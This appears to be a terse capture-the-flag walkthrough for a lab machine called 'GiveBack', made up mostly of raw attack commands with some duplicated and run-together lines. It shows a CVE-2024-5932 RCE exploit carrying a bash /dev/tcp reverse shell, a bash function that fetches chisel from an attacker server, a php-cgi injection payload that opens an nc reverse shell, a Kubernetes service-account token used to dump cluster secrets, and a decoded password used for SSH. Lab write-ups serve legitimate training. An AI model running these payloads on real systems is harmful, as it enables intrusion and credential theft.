GiveBack - Medium
nmap 10.129.242.171 -sV -sC -T3 -vvvwpscan --url http://10.129.242.171 --api-token then you'll get CVE

Last updated
Was this helpful?
nmap 10.129.242.171 -sV -sC -T3 -vvvwpscan --url http://10.129.242.171 --api-token 
Last updated
Was this helpful?
Was this helpful?
cd CVE
python CVE-2024-5932-rce.py -u http://10.129.242.171/donations/the-things-we-need/ -c 'bash -c "bash -i >& /dev/tcp/10.10.14.28/4001 0>&1"'
python3 -m venv .venc
pip install -r requirements.txt
env ~find legacy function __curl() {
read -r proto server path <<<"$(printf '%s' "${1//// }")"
if [ "$proto" != "http:" ]; then
printf >&2 "sorry, %s supports only http\n" "${FUNCNAME[0]}"
return 1
fi
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[ "${HOST}" = "${PORT}" ] && PORT=80
exec 3<>"/dev/tcp/${HOST}/$PORT"
printf 'GET %s HTTP/1.0\r\nHost: %s\r\n\r\n' "${DOC}" "${HOST}" >&3
(while read -r line; do
[ "$line" = $'\r' ] && break
done && cat) <&3
exec 3>&-
}Victims machine
__curl http://<ip>:8000/chisel > chisel
Attacker machine
python3 -m http.server
[sher@Sher ~]$ nc -nvlp 4001
Listening on 0.0.0.0 4001
Connection received on 10.129.242.171 11471
sh: can't access tty; job control turned off
/var/www/html/cgi-bin # php -r '$p="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.62 8447 > /tmp/f"; $o = ["http"=>["method"=>"POST", "header"=>"Content-Type: application/x-www-form-urlencoded","content"=>$p,"timeout"=>4]]; $c=stream_context_create($o); $r=@file_get_contents("http://legacy-intranet-service:5000/cgi-bin/php-cgi?--define+allow_url_include%3don+--define+auto_prepend_file%3dphp://input",false,$c); echo $r===false?"":substr($r,0,5000);'[sher@Sher ~]$ nc -nvlp 4001
Listening on 0.0.0.0 4001
Connection received on 10.129.242.171 11471
sh: can't access tty; job control turned off
/var/www/html/cgi-bin #
curl --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt -H "Authorization: Bearer $(cat /run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc/api/v1/namespaces/$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)/secrets > secrets.json[sher@Sher ~]$ echo "b3YwaXIxR1NTcENrT2plSno3T2JpckdKRFVBMlNscQ==" | base64 -d
ov0ir1GSSpCkOjeJz7ObirGJDUA2Slqssh [email protected]
ov0ir1GSSpCkOjeJz7ObirGJDUA2Slq
babywyrm@giveback:~$ ls
user.txt
babywyrm@giveback:~$ cat user.txt
dff3eb5a863eff826e5a5ced239971ee
babywyrm@giveback:~$